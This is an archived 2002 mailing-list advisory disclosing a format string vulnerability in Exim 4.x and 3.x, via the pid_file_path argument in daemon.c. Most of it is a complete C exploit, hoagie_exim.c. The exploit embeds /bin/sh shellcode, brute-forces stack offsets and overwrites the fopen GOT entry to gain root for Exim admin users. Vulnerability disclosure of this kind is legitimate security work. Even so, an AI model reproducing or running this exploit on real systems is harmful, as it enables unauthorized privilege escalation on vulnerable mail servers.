Local root vulnerability found in exim 4.x (and 3.x)

From: Wana Thomas (01psi194at_private)
Date: Wed Dec 04 2002 - 07:40:29 PST

  • Next message: securityat_private: "[Full-Disclosure] Security Update: [CSSA-2002-054.0] Linux: exploitable memory leak in ypserv"

    Overview
    --------
    
    A local root vulnerability has been discovered in
    Exim 4.x (4.10 verified and exploit available) and in
    Exim 3.x (3.35 verified).
    
    Impact
    ------
    
    The vulnerability can only be exploited by the
    "admin user" of exim, who is determined by compiled-in
    values. Thus the RISK of this vulnerability is LOW.
    
    Details
    -------
    
    This is a format string bug in daemon.c, line 976:
    
    sprintf(CS buff, CS pid_file_path, "");   /* Backward compatibility */
    
    pid_file_path can be changed on the command line.
    This line is in the function daemon_go(), which only
    gets executed when the user is an exim-admin-user.
    
    This restricts the impact of this vulnerability a lot.
    Standard configurations on all distributions should be
    safe (verified: Debian Woody i386)
    
    Solution
    --------
    
    Exim developers have been informed and a patch will be
    ready shortly.
    
    Exploit
    -------
    
    Please find attached a demonstration exploit of this
    vulnerability, tested on Debian Woody i386.
    
    There are four important defines to change before the
    exploit will work - see the file for details.
    
    Discovered by
    -------------
    
    Thomas Wana <01psi194at_private>
    
    Credits
    -------
    
    greetings to the hoagie industries security group :-)
    
    
    
    
    
    /***********************************************************
     * hoagie_exim.c
     *
     * local root exploit for exim 4.10 and probably others.
     * [only works for exim admin users]
     *
     * Format string bug when handling with the pid_file_path.
     * 
     * Author: Thomas Wana <01psi194at_private>
     *
     * Greetz to andi and the other hoagie-fellas :-)
     *
     * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
     * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY 
     * DAMAGE DONE USING THIS PROGRAM.
     *
     ************************************************************/
    
    #include <stdio.h>
    #include <errno.h>
    #include <unistd.h>
    #include <signal.h>
    #include <sys/types.h>
    #include <string.h>
    
    /*******************************************************
     * CRUCIAL VALUES
     * 
     * these standard values work for Debian Woody i386,
     * source build. 
     *
     * Play with the padding if the program can't find the
     * right stackpop values.
     *
     * ALTERNATE_PORT is the port where exim will bind during
     * the stackpop sequences. The port will be incremented by
     * one for each try, so expect to have many instances of
     * exim running. (this is because the port is bound to as
     * root and the user program can't kill that process anymore)
     *
     * Get the GOT_ADDRESS with 'objdump --dynamic-reloc exim | grep fopen'
     *
     * Shellcode-Address can vary, it is dependant on the size
     * of the current environment. I had values between 0xbffffb00
     * and 0xbffffe90. 
     *
     ********************************************************/
    #define PADDING 3
    #define ALTERNATE_PORT 3330
    #define FOPEN_GOT_ADDRESS 0x080b6194
    #define SHELLCODE_ADDRESS 0xbffffd00
    
    #define SB4(a) ((unsigned int)(a>>24))
    #define SB3(a) ((unsigned int)((a>>16)&0xFF))
    #define SB2(a) ((unsigned int)((a>>8)&0xFF))
    #define SB1(a) ((unsigned int)(a&0XFF))
    
    char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89"
                     "\x76\x08\x89\x46\x0c\x89\xc2\xb0\x0b"
                     "\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xc0"
                     "\x89\xc3\x40\xcd\x80\xe8\xdd\xff\xff"
                     "\xff/bin/sh";
    
    int port=ALTERNATE_PORT;
    char path[100];
    
    int check_for_AAAA(char *line)
    {
       int rval=0;
       char *endptr;
    
       if(strstr(line,"too long"))
       {
          endptr=strrchr(line,':')-8;   
       }
       else
       {
          endptr=line+strlen(line)-1-8;
       }
       if(strstr(endptr,"41414141")) rval=1;
       return rval;
    }
    
    int calc_bytes_written(char *line)
    {
       int rval=0;
       char *p;
       if((p=strrchr(line,':')))
       {
          rval=(p-line); 
       }
       else
       {
          rval=strlen(line);
       } 
       if(strstr(line,"pid written to ")) rval-=strlen("pid written to ");
       else rval-=strlen("failed to open pid file ");
       return rval;
    }
    
    void getstackpops(int *bigs, int *smalls, int *bytes_written)
    {
       int cpid;
       int pipedes[2];
       int found=0;
       int bs=0, ss=1;
       char hilf[10];
    
       printf("Getting stackpops ...\n");
       *bigs=0;
       *smalls=1;
    
       while(!found)
       {
          if(pipe(pipedes))
          {
             perror("pipe");
             exit(1);
          }  
       
          port++;
          cpid=fork();
          if(cpid==0)
          {
             // child process
             
             char fs[10000];
             int i;
       
             // close stderr and recreate it pointing into the pipe
             close(2);
             dup2(pipedes[1],2);
    
             // make new formatstring
    
             strcpy(fs,"/tmp/%s");
             for(i=0;i<PADDING;i++)
                strcat(fs,"Z");
             strcat(fs,"0000AAAA0000AAAA0000AAAA0000AAAA");
             for(i=0;i<bs;i++)
                strcat(fs,"%+e");
             for(i=0;i<ss;i++)
                strcat(fs,"%08x");
    
             // execute exim
             sprintf(hilf,"%d",port);
             execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
          }
          else if(cpid>0)
          {
             // parent process 
             FILE *fp=fdopen(pipedes[0],"r");
             char line[10000];
             if(fp) 
             {
                do
                {
                   fgets(line,10000,fp);
                   line[strlen(line)-1]=0;
       /*  printf("%s\n",line);  ENABLE THIS LINE WHEN THE PROGRAM GETS STUCK! */
                   if(strstr(line,"pid written to ") ||
                      strstr(line,"failed to open pid file "))
                   {
                      if(strstr(line,"nan")) printf("watch out, nan encountered.\n");
                      if(check_for_AAAA(line)==1)
                      {
                         // stackpops found, values are OK
                         found=1;
                         bs--;         // revert 2 stackpops
                         printf("Stackpops found ;-)\n");
                         *bigs=bs;
                         *smalls=ss;
                         *bytes_written=calc_bytes_written(line)-13;
                      }
                      else
                      {
                         // increase stackpops
                         ss++;
                         if(ss==3) bs++, ss=1;
                         printf("trying bs=%d, ss=%d\n",bs,ss);
                      }
                   }
                } while(!strstr(line,"Listening..."));
                fclose(fp);
             }
             else perror("fdopen");
             kill(cpid,SIGINT);
             usleep(100000);
          }
          else perror("fork"); 
          close(pipedes[0]);
          close(pipedes[1]);
       }
    }
    
    void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3, 
                            int *p4, int bytes_written)
    {
       // greetings to scud :-)
       int write_byte;
       int already_written;
       int padding;
    
       write_byte=SB1(addr);
       already_written=bytes_written;
       write_byte+=0x100;
       already_written%=0x100;
       padding=(write_byte-already_written)%0x100;
       if(padding<10) padding+=0x100;
       *p1=padding;
    
       write_byte=SB2(addr);
       already_written+=padding;
       write_byte+=0x100;
       already_written%=0x100;
       padding=(write_byte-already_written)%0x100;
       if(padding<10) padding+=0x100;
       *p2=padding;
    
       write_byte=SB3(addr);
       already_written+=padding;
       write_byte+=0x100;
       already_written%=0x100;
       padding=(write_byte-already_written)%0x100;
       if(padding<10) padding+=0x100;
       *p3=padding;
    
       write_byte=SB4(addr);
       already_written+=padding;
       write_byte+=0x100;
       already_written%=0x100;
       padding=(write_byte-already_written)%0x100;
       if(padding<10) padding+=0x100;
       *p4=padding;
    }
    
    int main(int argc, char **argv)
    {
       int bigpops, smallpops, bytes_written, i;
       unsigned char fs[10000], hilf[1000];
       unsigned long a=FOPEN_GOT_ADDRESS,
                     b=FOPEN_GOT_ADDRESS+1,
                     c=FOPEN_GOT_ADDRESS+2,
                     d=FOPEN_GOT_ADDRESS+3; 
       unsigned int p1,p2,p3,p4;
    
       if(argc!=2)
       {
          printf("local root exploit for exim 4.10 [only works for exim admin users]\n\n");
          printf("./hoagie_exim path_to_exim\n\n");
          exit(1);
       }
       strcpy(path,argv[1]);        // exploiting an exploit? hehe
    
       getstackpops(&bigpops,&smallpops,&bytes_written);
       printf("Using %d bigpops and %d smallpops.\n", bigpops,smallpops);
       printf("Written bytes: %d\n",bytes_written);
    
       strcpy(fs,"/tmp/%s");
       for(i=0;i<PADDING;i++)
          strcat(fs,"Z");
    
       sprintf(hilf,"0000%c%c%c%c"
                   "0000%c%c%c%c"
                   "0000%c%c%c%c"
                   "0000%c%c%c%c",
               SB1(a),SB2(a),SB3(a),SB4(a),SB1(b),SB2(b),SB3(b),SB4(b),
               SB1(c),SB2(c),SB3(c),SB4(c),SB1(d),SB2(d),SB3(d),SB4(d)); 
       strcat(fs,hilf);
       for(i=0;i<bigpops;i++)
          strcat(fs,"%+e");
       for(i=0;i<smallpops;i++)
          strcat(fs,"%08x"); 
    
       get_write_paddings(SHELLCODE_ADDRESS,&p1,&p2,&p3,&p4,bytes_written);
    
       sprintf(hilf,"%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n",p1,p2,p3,p4);
       strcat(fs,hilf);
      
       // GET ROOT 
       printf("calling exim with fs='%s'\n",fs);
       sprintf(hilf,"%d",++port);
       execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
    
       return 0;
    }
    



    This archive was generated by hypermail 2b30 : Wed Dec 04 2002 - 12:40:51 PST